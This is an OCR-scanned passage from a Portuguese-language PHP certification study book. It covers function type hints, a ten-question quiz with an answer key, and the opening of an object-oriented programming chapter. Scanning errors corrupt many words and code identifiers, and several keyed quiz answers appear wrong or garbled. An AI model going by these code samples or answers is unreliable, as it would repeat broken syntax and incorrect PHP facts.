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certeza de que, se alguém for utilizar uma fungdo que programamos,
utilize-a de maneira correta.

No nosso exemplo a seguir, imagine que estamos criando uma
aplicacao de receitas, na qual criaremos uma fungdo para adicionar
os ingredientes na panela.

Vejamos a fungdo a seguir, que recebe dois argumentos, sendo
que o primeiro é a $panela e o segundo sdo os $ingredientes
que vamos adicionar na nossa panela.
function prepararAlmoco($panela, $ingredientes) {

// percorre os ingredientes

foreach ($ingredientes as $ingrediente) {

$panela[] = $ingrediente; // adicionar na panela o ingredi

ente

}

return $panela; // retorna a panela com os ingredientes

Vocé consegue ver algum problema? Sim, temos um problema,
pois quem desejar utilizar a fungdo, podera nos enviar qualquer tipo

de variavel como parametro.
prepararAlmoco('', ''); // valido

E claro que isso ndo vai funcionar, pois precisamos de um array
Panela e um array de ingredientes. Mas, ao executarmos a fungao
anterior, obtemos o seguinte resultado:

PHP Warning: 1Invalid argument supplied for foreach() in /zce/func
tions/tipo.php on line 19

PHP Stack trace:

PHP 1. {main}() /zce/functions/tipo.php:0

PHP 2. prepararAlmoco() /zce/functions/tipo.php:24

wWarning: Invalid argument supplied for foreach() in /zce/functions
/tipo.php on line 19

Call Stack:
0.0002 232808 1. {main}() /zce/functions/tipo.php:0
0.0002 232936 2. prepararAlmoco() /zce/functions/tipo.ph
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p:24

Para prevenir esse tipo de comportamento, podemos for¢ar o
tipo de varidvel que queremos que seja passado. Vamos entao forgar
esse tipo de valor para que ele sempre seja um array:

function prepararAlmoco(array $panela, array $ingredientes) {
foreach ($ingredientes as $ingrediente) {
$panela[] = $ingrediente;

}

return $panela;

Agora, ao tentarmos passar os mesmos parametros (ou seja, dois
valores em branco), obtemos o seguinte erro:

PHP Catchable fatal error: Argument 1 passed to prepararAlmoco()
must be of the type array, string given, called in /zce/functions/
tipo.php on line 26 and defined in /zce/functions/tipo.php on line
18

PHP Stack trace:

PHP 1. {main}() /zce/functions/tipo.php:0

PHP 2. prepararAlmoco() /zce/functions/tipo.php:26

Catchable fatal error: Argument 1 passed to prepararAlmoco() must
be of the type array, string given, called in /zce/functions/tipo.
php on line 26 and defined in /zce/functions/tipo.php on line 18

Call Stack:
0.0001 232112 1. {main}() /zce/functions/tipo.php:0
0.0001 232208 2. prepararAlmoco() /zce/functions/tipo.ph
p:26

Embora tenha ocorrido um erro, agora sabemos que nao é nosso
problema e que nossa funcdo estd "blindada" de argumentos
invalidos. Esta claro para quem for utiliza-la, pois ela sabera que é
necessario passar um array, e nenhum outro tipo de dado sera
aceito.
$panela = [];
$ingredientes = [

'sal',

'carne',

1;
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$ingredientesNaPanela = prepararAlmoco($panela, $ingredientes);

Como esperado, agora temos no retorno da fungio
prepararAlmoco osingredientes na panela.

Array

(
[0] => sal
[1] => carne

Com array, foi muito facil, mas o que mais podemos utilizar
para forgar a passagem de parametros para uma fun¢do? O PHP nos
fornece uma lista sobre o que podemos utilizar:

1. Classes e interfaces;
2. Array;
3. Callable.

Na versdo 7 do PHP, serd possivel forcar mais alguns tipos de
parametros como bool, float, int e string. Mas, para o exame de
certificacdo que estamos demonstrando aqui (PHP 5.5), esses
tipos NA0o sdo permitidos. Para maiores informacdes, veja a
documentacio oficial, em
http://php.net/manual/pt_BR/functions.arguments.php.

7.9 TESTE SEU CONHECIMENTO

1) Qual é a saida do codigo?

function addvalues() {
$sum = 0;
for($i = 1; $i <= func_num_args(); $i++) {
$sum += func_get_arg($i);

}

return $sum;
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3

echo addvalues(1,2,3);
a) 5

b) 6

c) A parser error

d) A Warning

2) Qual a saida do codigo?

function increment ($val)

{
return ++$val;
}
echo increment (1);
3) Qual saida sera gerada pelo c4digo?
function func($x, $x=1, X=2) {
return $x;
}
print func(3);
a) Syntax error
b) Sera printado 3

c) Sera printado 2

d) N&o sera printado nada
4) Qual saida sera gerada pelo cddigo?
$x = function func($a, $b, $c) {
print "$c|$b|$a\n";
}
print $x(1,2,3);

a) Syntax erro

b) 3]2|1

7.9 TESTE SEU CONHECIMENTO
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c) 1|2|3

5) Qual saida sera gerada pelo cddigo?

$vil = 1;
$v2 = 2;
$v3 = 3;

function myFunction() {
$GLOBALS[ 'v1'] *= 2;
$v2 *= 2;
global $v3; $v3 *= 2;
}

myFunction();

echo "$visvasv3";

a) 123
b) 246
c) 226
d) 126

6) Escreva o nome da fun¢io que utilizamos para retornar
todos os argumentos enviados para uma fungio.

7) Qual dos codigos a seguir vai retornar o segundo
parametro passado para uma fung¢io?

a) func_get_args(2)
b) func_get_arg(1)
c) func_num_args(1)
d) func_num_args(2)
8) Quantos parametros essa func¢ao pode ter?
function AddRoleDetails()
{

$args = func_get_args();

/*
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* Code here
*/
1

a) 1
b) 2
c) 3
d) N&o ha limites de argumento

9) Qual o tnico item abaixo que nio podemos forcar sua
tipagem em uma fung¢iao?

a) Classes
b) Interfaces
c) String
d) Array
10) Qual a saida gerada pelo codigo a seguir?

function func()

{ $numargs = func_num_args();
echo "$numargs";
if($numargs >= 2)
echo ",".func_get_arg(1);

}

func (1, 2, 3);

a) 3,1
b) 3,2
c) 2,1

d) Erro de execucgéo

7.10 FUNCOES: ASSUNTO DIFICIL DE LER!
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Fungoes realmente podem parecer um assunto chato de se ler,
porém, vocé nao vive sem conhecé-las. Sim, parece uma afirmacgao
estranha, mas muito do nosso mundo PHP gira em torno das
fungdes. Imagine vocé ter de separar um string e transformar em
array sem utilizar um explode ? Seria um tanto trabalhoso fazer
isso, mas as fungdes estao ai para ajudar.

Na prova, vocé pode encontrar algumas pegadinhas nas fungoes,
como: falta de parametro, erros de sintaxe, passagem de pardmetros
invalidos, e assim por diante. Tentamos explorar neste capitulo
todos os possiveis itens relacionados as fung¢des, mas é claro que
sempre pode cair algo a mais. Ndo se assuste, lembre-se de que
temos uma se¢do exclusiva sobre fung¢des na nossa boa e velha
documentagio, que pode ser acessada em
http://php.net/manual/pt_BR/language.functions.php.

Mas ndo tente ficar decorando pardmetro por parametro das
fungoes PHP. O melhor é vocé entender o seu funcionamento, pois,
com isso, quando a necessidade surgir, vocé nao passara sufoco.

7.11 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso ndo, nao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!
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QUESTOES

Questiao 1 - Resposta correta:aed
Questao 2 - Resposta correta : 2

Questao 3 - Resposta correta: ¢

Questao 4 - Resposta correta: a

Questao 5 - Resposta correta: ¢

Questao 6 — Resposta correta: func_get_arg
Questao 7 - Resposta correta: b

Questao 8 - Resposta correta: d

Questao 9 - Resposta correta: ¢

Questao 10 - Resposta correta: b
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CapiTULO 8

PROGRAMACAO
ORIENTADA A OBJETOS

Conforme a evolu¢do do PHP, a importancia dada a Orientagio
a Objetos (OO) foi crescendo. Arrisco a falar que, a partir da versao
5.4 da linguagem, tivemos muitos ganhos focados em OO.

Este capitulo tem como intuito mostrar toda a parte utilizada na
Orientagdo a Objetos, e ndo s6 apenas na parte da certificagdo.
Vamos passar pela criagdo de classes, utilizagdo de métodos
magicos, modificadores de acessos, diferenga entre as palavras

reservadas self e static , e muito mais.

Antes de comegarmos, é importante ressaltar que, neste
capitulo, nao focaremos no que é Orienta¢ao a Objetos, como
utiliza-la ou por que ela é importante. Caso vocé nao entenda
muito bem ou possua davidas nesse assunto, recomendo que
dé uma lida em outras obras e, apds isso, volte a leitura.

Se vocé ndo sabe por onde comegar no mundo de OO,
recomendo que dé uma olhada no livro Orientagdo a objetos e
SOLID para ninjas, em
https://www.casadocodigo.com.br/products/livro-oo-solid.

Quando estamos trabalhando com Orientagio a Objetos, a
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primeira coisa que nos vem a cabeca logicamente sao os objetos, em
PHP. Usamos a palavra reservada class para definir o projeto do
nosso objeto.

Veja no nosso exemplo a seguir a classe Copo que, apesar de
nao possuir nada dentro, é uma classe valida.

class Copo {
}

Agora que ja temos a estrutura do objeto, precisamos adicionar
suas propriedades, ja que fazendo uma comparagdo com o mundo
real, sdo as caracteristicas de um copo real. E quais caracteristicas
um copo pode ter? Tamanho, cor e peso sdo algumas delas.

Para a nossa classe, vamos utilizar apenas as duas primeiras:

tamanho e cor.
class Copo {

public $tamanho;
public $cor;

Agora, nosso objeto ja possui algumas propriedades definidas
que pode utilizar. Veja a seguir como de fato criamos o nosso objeto
em PHP, e note que para acessar e definir valores em nossos objetos,
usamos uma seta para a direita com os caracteres - e > .
$copo = new Copo();

$copo->tamanho = 'Grande';
$copo->cor = 'transparente';

Em PHP, nao conseguimos for¢ar nenhum tipo, como arrays,
classes ou interfaces, nas propriedades dos objetos como
fazemos em fungdes.
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A primeira coisa a se notar ¢ a utilizacdo da palavra reservada
new para instanciar o nosso objeto. A segunda coisa é o seu uso na
variavel $copo . A seguir, vemos em detalhes o nosso objeto:

Copo Object
(

[tamanho] => Grande
[cor] => transparente

Muito interessante! Porém, até agora, nosso objeto ndo
consegue fazer nada, apenas possui algumas propriedades
(caracteristicas), mas nao tem nenhum comportamento ou agao. A
seguir, vamos adicionar um método que dard vida ao nosso objeto.

Métodos sao como fung¢des: suas assinaturas sdo exatamente as
mesmas, porém na Orientagdo a Objetos, métodos possuem
algumas funcionalidades a mais que veremos em seguida,
como modificadores de acesso ( public , private ,
protected ). Mas lembre-se de que, dentro de classes, fun¢oes
sdo chamadas de métodos.

class Copo {

public $tamanho;
public $cor;

function adicionarBebida($bebida) {
print 'Bebida escolhida ' . $bebida;

Criamos o nosso primeiro método que, na realidade, ndo faz
muito a nio ser exibir a bebida escolhida. Mas, como vocé pode
notar, métodos sdo exatamente como fun¢des, porém dentro de
uma classe. E para acessa-los, usamos os mesmos caracteres para
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acessar propriedades.

$copo = new Copo();
$copo->adicionarbebida('agua'); // Bebida escolhida: agua

Para inspecionar os métodos que os objetos possuem, podemos
utilizar a fungdo get_class_methods , que vai nos retornar um
array contendo todos os métodos da classe:

Array
(

[0] => adicionarBebida
)

Constantes também podem ser definidas para os nossos objetos
com a palavra reservada const . Criaremos uma constante na
nossa classe Copo chamada LIMITE , que definird qual é o limite
maximo que o nosso objeto podera receber de bebida. Também
vamos modificar o método adicionarBebida para que, além da
bebida escolhida, receba como parametro o quanto dela sera
adicionada:

class Copo {
const LIMITE = 100;

public $tamanho;
public $cor;

function adicionarBebida($bebida, $quantidade) {
if ($quantidade > self::LIMIT) {
print 'A quantidade excede o limite suportado pelo cop

exit();

}

print 'Bebida escolhida ' . $bebida;

Por convencdo, definimos constantes utilizando apenas letras
maidsculas, mas podemos também usar letras minusculas. Porém,
lembre-se de que nao ¢ aconselhavel pelos padrdes de cddigo que o
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PHP segue (veja mais em http://www.php-fig.org/). Portanto, siga
sempre a conven¢do. A seguir, temos um exemplo apenas para
ilustrar:

class Copo {
const limite = 100;

Diferentemente dos atributos e métodos, para constantes
utilizamos :: para acessar seus valores. Podemos acessa-los de
duas maneiras: uma é por meio do objeto instanciado, como vemos:

$copo = new Copo();
print $copo::LIMITE; //100

E a outra é usando o nome da classe completo, sem a sua

instancia:
$copo = new Copo();

$copo: :LIMITE; //100

8.1 HERANCA

Heranga é uma técnica muito conhecida na OO, na qual
podemos herdar todo o comportamento de uma classe, eliminando
a duplicidade de codigo e facilitando sua manuten¢do. Em PHP,
podemos herdar o comportamento de uma classe utilizando a
palavra reservada extends .

A primeira coisa que vamos fazer ¢ criar uma classe chamada
Casa para representar a classe base, e logo em seguida criaremos a
classe CasaReformada , que estendera a classe Casa e, além do
comportamento herdado, possuira o seu método especifico.

class Casa {

public $cor;
public $quantidadeDeQuartos;
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function abrirPortaDaSala()

{

print 'Porta da sala aberta';

Vamos supor que nossa casa, representada pela classe Casa , foi
reformada e agora podemos, além de abrir a porta da sala, também
abrir a janela do quarto. Mas, em vez de alterarmos a classe Casa ,
vamos apenas criar uma outra classe e aplicar o que mudou na
reforma.

class CasaReformada extends Casa {

function abrirJanelaDoQuarto()

{

print 'Janela do quarto aberta';

Ao usarmos heranga, ndo é necessario reescrever toda a classe.
Em vez disso, podemos apenas herdar o que a classe Casa possui e,
na classe CasaReformada , podemos colocar apenas o que

queremaos.

Em PHP, néo existe heranca multipla, e ndo é possivel herdar
de varias classes a0 mesmo tempo.

Agora, além de possuirmos os métodos e as propriedades da
classe CcasaReformada , possuimos também os da classe Casa .

$casaReformada = new CasaReformada();

$casaReformada->cor = 'Azul';
$casaReformada->abrirPortabDaSala(); // Porta da sala aberta
$casaReformada->abrirJanelaboQuarto() // Janela do quarto aberta
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8.2 CLASSE ABSTRATA

Agora que ja entendemos heran¢a, podemos utilizar classes
abstratas com o PHP. Muitas vezes, queremos criar uma hierarquia,
porém sem a necessidade de criar uma classe concreta (que possa
ser instanciada). Nesses casos, usamos as classes abstratas que nos
fornecem um molde para isso.

A sua sintaxe é muito simples, basta colocar a palavra reservada
abstract antes da palavra reservada class :

abstract class MinhaClasseAbstrata {}

Poderiamos usar uma classe abstrata para representar um web
service, por exemplo. Sabemos que precisamos de no minimo duas
acOes: uma para tratar as requisi¢des recebidas, e outra para tratar as

respostas a serem enviadas ao cliente.

Veja como podemos criar um molde para esse web service:

abstract class WebService {
abstract function tratarRequisicao();

abstract function tratarResposta();

Apos isso, podemos especializar um comportamento diferente
para cada tipo de web service, para tratar as requisi¢es e as
respostas. A nossa primeira especializacao sera feita para manipular
requisi¢oes/respostas feitas com JSON:

class WebServiceJdson {
public function tratarRequisicao()

{
// manipula dados enviados do tipo JSON
}
public function tratarResposta()
{
// envia resposta do tipo JSON
}
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Imagine agora que devemos manipular tais dados, mas em
XML, dando suporte tanto a JSON quanto a XML. Gragas ao nosso
molde  webService , precisamos apenas criar mais uma
especializacdo para tratar XML.

class WebServiceXml {
public function tratarRequisicao()

{
// manipula dados enviados do tipo XML
}
public function tratarResposta()
{
// envia resposta do tipo XML
}

Por esse tipo de tratamento, temos a possibilidade de manipular
os dois tipos de dados. Veja a seguir como o codigo fica simples e
sem a necessidade de if para identificar qual tipo de dados
devemos utilizar. O mais importante é que, se no futuro houver a
necessidade de criar outro tipo de manipulagdo de dados do web
service, serd necessario apenas criar uma nova classe com o
tratamento especifico.
// Gerencia requisicdes do tipo JSON

$json = new WebServiceJson();
$json->tratarRequisicao();

// Gerencia requisicdes do tipo XML
$xml = new WebServiceXml();
$xml->tratarRequisicao();

Ao contrario das classes "normais”, as classes abstratas nao
podem ser instanciadas e, caso tente instancia-la, um FATAL ERROR
¢ exibido, como mostra o exemplo:

$abstrato = new WebService(); // tentativa de instanciar

PHP Fatal error: Cannot instantiate abstract class WebService in
/zce/oop/classe_abstrata.php on line 5
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PHP Stack trace:
PHP 1. {main}() /zce/oop/classe_abstrata.php:0

Fatal error: Cannot instantiate abstract class WebService in /zce/
oop/classe_abstrata.php on line 5

Call Stack:
0.0001 230544 1. {main}() /zce/oop/classe_abstrata.php:0

Usamos classes abstratas para criar uma generalizagdo e, apds
isso, especializar comportamentos especificos em outras classes.
Vamos a um novo exemplo utilizando os tipos de pessoas:

abstract class Pessoa {

public abstract function andar();

class Adulto extends Pessoa {

public function andar() {
print 'Rapido';

class Crianca extends Pessoa {

public function andar() {
print 'Devagar';

Como no nosso exemplo, temos uma classe abstrata (contrato)
chamada Pessoa , e possuimos também duas classes que herdam
de Pessoa , que sdo as classes Adulto e Crianca .

A primeira coisa que podemos reparar é que tanto a classe
Pessoa quanto a Crianca sobrescrevem o método andar da
nossa classe abstrata, e isso nao é por acaso. A segunda coisa que
devemos observar é a utilizacao da palavra reservada abstract na
declaragdo do método andar () .

Com classes abstratas, podemos declarar métodos sem corpo,
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utilizando a palavra reservada abstract . Isso faz com que a classe
que esteja herdando seja obrigada a implementar esse método. Em
nosso exemplo, usamos esse tipo de comportamento para que as
classes que herdarem de Pessoa definam como elas andam, pois
adultos e criancas andam de maneira diferente, mesmo que ambos
sejam do mesmo tipo.

Caso exista um método abstrato e ele nio for sobrescrito na
classe filha, o PHP exibird um FATAL ERROR . Vamos tentar entdo
criar uma classe Idoso , e apenas estender a classe Pessoa :

class Idoso extends Pessoa {

$idoso = new Idoso();

Veja que apenas estendemos a classe Pessoa e ndo
sobrescrevemos o método andar , o que nos resulta no erro fatal,
alertando que somos obrigados a implementar o método andar .
PHP Fatal error: Class Idoso contains 1 abstract method and must

therefore be declared abstract or implement the remaining methods
(Pessoa::andar) in /zce/oop/abstract.php on line 11

Também podemos definir métodos completos para serem
utilizados pelas classes filhas. Vamos modificar a nossa classe
abstrata do exemplo anterior e adicionar o método comer , mas
dessa vez esse método serd concreto e ndo precisara ser sobrescrito
pelas classes filhas (que herdam da classe Pessoa ).

abstract class Pessoa {
public abstract function andar();
public function comer()

{

print 'Método comer invocado no objeto ' . get_class($this

)
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A primeira coisa interessante na nossa modificagdo é o poder
que a classe abstrata nos dd. Podemos obrigar as classes filhas a
implementarem os métodos que desejarmos (no nosso exemplo,
obrigamos a implementagdo do método andar ) e, além disso,
podemos criar nossos proprios métodos na classe abstrata.

7

Outro ponto a se observar é a utilizagao da palavra $this
dentro do método comer . Como ndo podemos criar instancias da
classe Pessoa , o contexto $this sempre vai se referir a classe
filha que foi instanciada. Veja a seguir que a resposta ao utilizarmos
o método comer muda de acordo com a classe que estamos
usando:

$adulto = new Adulto();
$adulto->comer(); // Método comer invocado no objeto Adulto

$adulto = new Crianca();
$adulto->comer(); // Método comer invocado no objeto Crianca

8.3 TRAIT

A partir da versao 5.4 do PHP, um novo conceito foi adicionado
a linguagem para contornar a falta de heranga multipla. Com isso,
trait ganhou vida. Assim como uma classe abstrata, um trait
ndo pode ser instanciado, e devemos utiliza-lo junto a uma classe.

Uma tarefa comum em que podemos usar trait s sdo os
famosos logs. Dessa forma, é possivel saber o que ocorre em
diferentes partes do sistema, sem que seja necessario duplicar
cddigo ou criar classes separadas para essa tarefa. Logs sdo uteis em
ambientes de produ¢ao nos quais o cliente final tem acesso e onde
noés, programadores, ndo podemos exibir dados direto na tela.

trait Log {}

Um trait pode ter métodos e propriedades, assim como uma
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classe normal:
trait Log {
public function gravar($mensagem)

{

return file_put_contents('log.txt', $mensagem);

Para utilizar um trait , devemos primeiramente importa-lo
em nossa classe com a palavra reservada use . Veja que,
diferentemente de classes que importamos logo apds a declaragdo
do namespace , trait s devem ser importados dentro do escopo
da classe.

class GerenciadorDelLog {

use Log;

Dessa forma, temos acesso a todas as propriedades e métodos do
trait dentro da classe GerenciadorbDelog .

$gerenciadorDelLog = new GerenciadorDelog();

$gerenciadorDeLog->gravar('mensagem de log'); // método existente
no trait

Devemos nos atentar a precedéncia de heranga ao usarmos
trait s. pois elementos da classe em que o importamos
sobrescrevem os métodos existentes nele.

class GerenciadorDeLog {
use Log;
public function gravar($mensagem)

{

print 'Esse método sobrescreve o método existente no trait
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Ao tentarmos acessar o método gravar agora, em vez de salvar
o conteudo no arquivo com a fun¢iao file_put_contents , o
método vai apenas exibir a mensagem: "Esse método

sobrescreve o método existente no trait" .
$gerenciadorDeLog = new GerenciadorDelLog();

// Esse método sobrescreve o método existente no trait
$gerenciadorDelLog->gravar('mensagem de log');

Um comportamento interessantissimo do trait ¢é que
podemos usa-los com métodos abstratos, assim como nas classes
abstratas. Isso nos permite criar uma generalizagido e obrigar quem
utilizar o trait aimplementar os métodos que desejarmos.

Para exemplificar, vamos utilizar como exemplo um post do
Facebook. Criaremos um trait geral em que serd obrigatério a
utilizagdo do método mensagem . Ou seja, para cada classe que usar
0 nosso trait , sera obrigatdrio existir um método que retorne
uma mensagem. Afinal, ndo é possivel criarmos um post sem um
texto.

trait FacebookPost {
// Todos post deveram informar uma mensagem

abstract public function mensagem();

Agora que ja possuimos o nossa trait base para os posts que
vamos realizar, podemos usa-lo. Para isso, criaremos uma classe
chamada PostSimples , que postard apenas um texto e nada mais.

trait PostSimples {
public function mensagem()

{

return 'Post contendo apenas texto';

Agora imagine que, além da mensagem de texto, precisamos
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também criar um post que contenha imagens. Como poderiamos
fazer isso? Com trait s, resolver esse problema fica muito facil.
Vamos criar uma nova classe chamada ImagemPost , que sera
responsavel por gerenciar a imagem e a mensagem para 0 Nosso
post.

Como o trait FacebookPost possui um método abstrato,
somos obrigados a implementd-lo garantindo que o post de imagem
também vd possuir uma mensagem de texto.

class ImagemPost {
use FacebookPost;

public function mensagem()

{
return 'Mensagem da classe ImagemPost';
}
public function imagem()
{
return 'facebook.png';
}

Se tentarmos utilizar um trait que possua um método
abstrato e ndo o sobrescrevermos, um FATAL ERRO sera exibido
pelo PHP.

class ImagemPost {

use FacebookPost;

PHP Fatal error: Class ImagemPost contains 1 abstract method and
must therefore be declared abstract or implement the remaining met
hods (ImagemPost::mensagem) in /zce/oop/trait.php on line 9

PHP Stack trace:

PHP 1. {main}() /zce/oop/trait.php:0
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Além da utilizagao aqui mostrada sobre traits, existem algumas
pequenas nuances interessantes, como por exemplo, a
modificacao de acesso de cada método na classe que é usado o
trait e a sobreposi¢ao de métodos. Veja a documentagdo oficial
do PHP, em
http://php.net/manual/pt_BR/language.oop5.traits.php,  que
possui essas informagdes adicionais.

8.4 INTERFACE

Interfaces estio um pouco mais além da generalizagdo do que as
classes abstratas. Imagine que interfaces sao como contratos, em que
quem implementd-la deve seguir as regras. Porém ndo interessa
como se chegara ao resultado e, diferentemente das classes abstratas,

interfaces ndo possuem corpo em seus métodos.
interface Carro {}

A definicdo de uma interface é bem simples, como podemos ver
nesse exemplo. Porém, nossa interface nao possui nenhum método.
Ao contrario de classes abstratas, que podem ter definicdes
completas de métodos, interfaces podem possuir apenas as suas
definicoes.

interface Carro {
public function acelerar();

public function parar();

Para implementar nossa interface, devemos utilizar a palavra

reservada implements .

class CarroEconomico implements Carro {}
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O script gera um FATAL ERROR , pois, quando usamos
interfaces, somos obrigados a implementar todos os métodos nela
definidos. Interfaces sio como contratos e, como em um contrato,
devemos seguir tudo o que estd escrito, e implementar todos os
métodos existentes na interface.

PHP Fatal error: Class CarroEconomico contains 2 abstract methods

and must therefore be declared abstract or implement the remainin
g methods (Carro::acelerar, Carro::parar) in /zce/oop/interface.ph
p on line 10

PHP Stack trace:
PHP 1. {main}() /zce/oop/interface.php:0

Vamos corrigir nossa classe para que ela passe a funcionar com
a nossa interface:

class CarroEconomico implements Carro {
public function acelerar() {}

public function parar() {}

8.5 FINAL

Assim como podemos herdar propriedades e métodos das
classes, podemos também prevenir esse comportamento. Ou seja, é
possivel bloquear a heranca da classe que criamos por meio da
palavra reservada final .

final class Televisao {
public $canal = 99;

Veja que temos o objeto Televisao , que possui uma
propriedade canal . Vamos tentar agora definir um novo canal
pela heranca dessa classe:

class NovaTelevisao extends Televisao {
public $canal = 99;
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Ao executar esse script, obtemos um FATAL ERROR , pois nao
podemos herdar de nenhuma classe que seja final .

PHP Fatal error: Class NovaTelevisao may not inherit from final c
lass (Televisao) in /zce/oop/final.php on line 9

Fatal error: Class NovaTelevisao may not inherit from final class
(Televisao) in /zce/oop/final.php on line 9

Desse modo, escolhemos bloquear toda a classe para ser
herdada, porém podemos também definir apenas determinados
métodos para que ndo sejam herdados. Vamos entdo aplicar isso a
nossa classe Televisao .

class Televisao {
private $canal = 99;

final public function mudarCanal($canal)

{

$this->canal = $canal;

Agora, efetivamente podemos estender a classe, porém nao
podemos herdar o método mudarcCanal($canal) .

class NovaTelevisao extends Televisao {}

Agora tentaremos sobrescrever 0 método
mudarCanal($canal) .

class NovaTelevisao extends Televisao {

public function mudarCanal($canal) {}

Obtemos um FATAL ERROR como esperado, pois esse método é
final .

PHP Fatal error: Cannot override final method Televisao::mudarCan
al() in /zce/oop/final.php on line 18

Fatal error: Cannot override final method Televisao::mudarCanal()
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in /zce/oop/final.php on line 18

Em propriedades de classe, ndo é possivel utilizar a palavra
reservada final . Para isso, em PHP, usamos a palavra

reservada const .

8.6 MODIFICADORES DE ACESSO

Em PHP possuimos trés tipos de modificadores de acesso e
nessa se¢do iremos explorar como utilizar cada um deles em
detalhes, veja a seguir a lista com os possiveis modificadores de

aCesso:

1. publico ( public )
2. protegido ( protected )
3. privado ( private )

public

O publico, como ja vimos, é onde nds conseguimos acessar
nossas propriedades e métodos livremente. O modo publico é
assumido pelo PHP por padrio se nds nao declararmos nenhum
tipo de acesso, ou seja, se ndo usarmos a palavra reservada public .

Para propriedades de classe, é obrigatéria a declaragao, mas,
para métodos, nao.

class Carro {

//palavra reservada public, protected ou private obrigatoria
public $marca;
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// palavra public omitida
function ligarMotor()

{
print 'Motor ligado';
3
3
Mas também ¢ possivel deixar isso explicito no céddigo quando
quisermos:

class Carro {
public $marca;

public function ligarMotor()

{

print 'Motor ligado';

}

Sem restricdes, podemos facilmente utilizar nosso objeto da
seguinte maneira:
$meuCarro = new Carro();

$meuCarro->marca = 'Ford';
$meuCarro->ligarMotor();

protected

Agora, comecamos a restringir os acessos que desejamos
utilizando a palavra protected . Vamos comegar pela propriedade
$marca . Vamos modifica-la para ser protegida, e ndo mais publica.

class Carro {
protected $marca = 'GM';
public function ligarMotor ()

{

print 'Motor ligado';

}

Veja esse codigo e, baseado no que viu até agora, tente adivinhar
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qual sera o resultado obtido ao executar o co6digo a seguir:

$meuCarro = new Carro();
$meuCarro->marca = 'Ford';
$meuCarro->ligarMotor();

Ao executarmos o c6digo, o PHP nos retorna o seguinte FATAL
ERROR :
PHP Fatal error: Cannot access protected property Carro::$marca i
n /zce/oop/visibility/protegido.php on line 14

PHP Stack trace:
PHP 1. {main}() /zce/oop/visibility/protegido.php:0

Fatal error: Cannot access protegido property Carro::$marca in /zc
e/oop/visibility/protegido.php on line 14

Call Stack:

0.0002 233888 1. {main}() /zce/oop/visibility/protegido.
php:0

Ao contréario do modificador public , propriedades e métodos
que utilizam protected s6 podem ser acessados de dentro da
propria classe ou de classes que herdem dessa classe. Vamos usar a
nossa classe Carro como molde para a nossa classe Caminhao .

class Caminhao extends Carro {
public function exibirMarca()

{

print $this->marca;

}

Como ndo podemos mais acessar diretamente a propriedade
$marca , somos obrigado a criar um método para manipula-la.

$caminhao = new Caminhao();
$caminhao->exibirMarca(); // GM

private

Chegamos ao modo mais restrito que uma propriedade ou
método pode ter, dentro de uma classe. Usando private , apenas a
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propria classe tem acesso ao atributo ou método.

No nosso exemplo a seguir, temos o atributo $numeroDeRodas
que pertence somente a classe Carro . Veja a classe Carro
modificada:

class Carro {

protected $marca = 'GM';
private $numeroDeRodas = 4;

public function exibirNumeroDeRodas()

{

print $this->numeroDeRodas;

$carro = new Carro();
$carro->exibirNumeroDeRodas();

Ao executarmos esse script, temos o seguinte resultado:

Mas, e se tentarmos estender essa classe para acessar o atributo
$numeroDeRodas ? Veja a classe a seguir e tente descobrir qual serd
a saida gerada pelo script, antes de seguir para a resposta.

class Van extends Carro {
public function __construct()

{

print $this->numeroDeRodas;

$van = new Van();

Quando instanciamos a classe Van , ndo existe nenhuma
propriedade na classe chamada $numeroDeRodas , o que faz o PHP
exibir o erro de propriedade indefinida (Undefined property).

PHP Notice: Undefined property: Van::$numeroDeRodas in /zce/oop/p
rivate.php on line 15
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PHP Stack trace:
PHP 1. {main}() /zce/oop/visibility/private.php:0
PHP 2. CanetaPreta->__construct() /zce/oop/private.php:19

Isso ocorre pois a propriedade pertence apenas a classe Carro ,
e somente ela pode manipular essa propriedade. Nenhuma classe
que a estenda ou qualquer tentativa de acesso externo consegue
modifica-la

8.7 $THIS

Em nossos exemplos anteriores, para acessar as propriedades e
métodos das classes, usamos um variavel especial chamava $this .
Ela é reservada para o PHP e nao pode ser utilizada como um
variavel qualquer, o que torna o exemplo a seguir um codigo
invalido:
$this = 'ZCPE';

Ao executar esse script, obtemos o seguinte erro:

PHP Fatal error: Cannot re-assign $this in /zce/oop/this.php on 1
ine 3

Fatal error: Cannot re-assign $this in /zce/oop/this.php on line 3

Isso nos mostra que ndo podemos utilizar $this como uma
variavel qualquer. $this se referencia a instancia da classe atual.
Precisamos utilizar $this para acessar qualquer método ou
propriedade dentro de uma classe; caso contrario, o PHP tentara
procurar uma variavel dentro do escopo do método. Veja o exemplo
a seguir:

class Arquivo {
private $arquivo = 'zend.txt';

public function exibirNome()

{

print $arquivo;
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}

$arquivo = new Arquivo();
$arquivo->exibirNome();

O que vocé acha que vai acontecer com esse codigo ao ser
executado?

PHP Notice: Undefined variable: arquivo in /zce/oop/this.php on 1
ine 8

PHP Stack trace:

PHP 1. {main}() /zce/oop/this.php:0

PHP 2. Arquivo->exibirNome() /zce/oop/this.php:13

Notice: Undefined variable: arquivo in /zce/oop/this.php on line 8

Call Stack:

0.0001 233264 1. {main}() /mnt/c/wamp/www/github/zce/oop
/this.php:0

0.0013 233480 2. Arquivo->exibirNome() /mnt/c/wamp/www/g

ithub/zce/oop/this.php:13

Obtemos o erro Undefined variable: arquivo , o que nos
diz que a varidvel $arquivo ndo existe. Para corrigir esse erro,
precisamos usar $this para nos referenciar a propriedade da
classe $arquivo .

public function exibirNome()

{

print $this->arquivo;

}

Apos esse ajuste, conseguimos executar o codigo perfeitamente e
ter como resultado a exibigdo do nome do arquivo.

zend. txt
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pode

Todos os itens abordados até agora sobre modificadores de
acesso sdo tratados na documentagdo oficial do PHP, que vocé

http://php.net/manual/pt_BR/language.oop5.visibility.php. Na
documentagio oficial, eles chamam de visibilidade em vez de
modificadores de acesso.

conferir em

8.8 METODOS MAGICOS

Ao passar da evolugao do PHP, a linguagem foi proporcionando

muitas funcionalidades para a programaciao orientada a objetos.
Uma delas sio os métodos madgicos, que nos fornecem uma
flexibilidade enorme e também vantagens ao utiliza-los. Todos os

métodos madgicos comegam com 0s caracteres

(dois

underscores) seguidos de seu nome. Veja a seguir uma lista dos
métodos existentes até o0 momento:

Método
__construct

__destruct

call

__callStatic
__get

set

_ isset

unset

Descrigao
Construtor do objeto.
Destrutor do objeto.
Invocado quando um método nao existe no objeto.
Invocado quando um método estatico ndo existe no objeto.
Invocado quando uma propriedade nio existente do objeto ¢ utilizada.

